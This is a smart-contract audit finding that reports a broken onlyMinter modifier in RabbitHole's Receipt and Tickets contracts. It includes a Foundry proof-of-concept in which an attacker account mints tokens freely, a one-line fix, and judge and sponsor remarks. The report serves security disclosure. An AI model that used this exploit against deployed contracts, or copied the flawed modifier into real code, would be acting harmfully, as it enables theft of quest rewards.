Bad implementation in minter access control for RabbitHoleReceipt and RabbitHoleTickets contracts

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Both RabbitHoleReceipt and RabbitHoleTickets contracts define a mint function that is protected by a onlyMinter modifier:

RabbitHoleReceipt:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104

function mint(address to_, string memory questId_) public onlyMinter {
    _tokenIds.increment();
    uint newTokenID = _tokenIds.current();
    questIdForTokenId[newTokenID] = questId_;
    timestampForTokenId[newTokenID] = block.timestamp;
    _safeMint(to_, newTokenID);
}

RabbitHoleTickets:

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L85

function mint(address to_, uint256 id_, uint256 amount_, bytes memory data_) public onlyMinter {
    _mint(to_, id_, amount_, data_);
}

However, in both cases the modifier implementation is flawed as there isn't any check for a require or revert, the comparison will silently return false and let the execution continue:

modifier onlyMinter() {
    msg.sender == minterAddress;
    _;
}

Impact

Any account can mint any number of RabbitHoleReceipt and RabbitHoleTickets tokens.

This represents a critical issue as receipts can be used to claim rewards in quests. An attacker can freely mint receipt tokens for any quest to steal all the rewards from it.

PoC

The following test demonstrates the issue.

contract AuditTest is Test {
    address deployer;
    uint256 signerPrivateKey;
    address signer;
    address royaltyRecipient;
    address minter;
    address protocolFeeRecipient;

    QuestFactory factory;
    ReceiptRenderer receiptRenderer;
    RabbitHoleReceipt receipt;
    TicketRenderer ticketRenderer;
    RabbitHoleTickets tickets;
    ERC20 token;

    function setUp() public {
        deployer = makeAddr("deployer");
        signerPrivateKey = 0x123;
        signer = vm.addr(signerPrivateKey);
        vm.label(signer, "signer");
        royaltyRecipient = makeAddr("royaltyRecipient");
        minter = makeAddr("minter");
        protocolFeeRecipient = makeAddr("protocolFeeRecipient");

        vm.startPrank(deployer);

        // Receipt
        receiptRenderer = new ReceiptRenderer();
        RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
        receipt = RabbitHoleReceipt(
            address(new ERC1967Proxy(address(receiptImpl), ""))
        );
        receipt.initialize(
            address(receiptRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // factory
        QuestFactory factoryImpl = new QuestFactory();
        factory = QuestFactory(
            address(new ERC1967Proxy(address(factoryImpl), ""))
        );
        factory.initialize(signer, address(receipt), protocolFeeRecipient);
        receipt.setMinterAddress(address(factory));

        // tickets
        ticketRenderer = new TicketRenderer();
        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }
    
    function test_RabbitHoleReceipt_RabbitHoleTickets_AnyoneCanMint() public {
        address attacker = makeAddr("attacker");

        vm.startPrank(attacker);

        // Anyone can freely mint RabbitHoleReceipt
        string memory questId = "a quest";
        receipt.mint(attacker, questId);
        assertEq(receipt.balanceOf(attacker), 1);

        // Anyone can freely mint RabbitHoleTickets
        uint256 tokenId = 0;
        tickets.mint(attacker, tokenId, 1, "");
        assertEq(tickets.balanceOf(attacker, tokenId), 1);

        vm.stopPrank();
    }
}

Recommendation

The modifier should require that the caller is the minterAddress in order to revert the call in case this condition doesn't hold.

modifier onlyMinter() {
    require(msg.sender == minterAddress);
    _;
}

[c4-judge]

kirk-baird marked the issue as duplicate of #9

[c4-judge]

kirk-baird marked the issue as satisfactory

[c4-judge]

kirk-baird marked the issue as selected for report

[c4-judge]

kirk-baird marked the issue as primary issue

[c4-sponsor]

waynehoover marked the issue as sponsor confirmed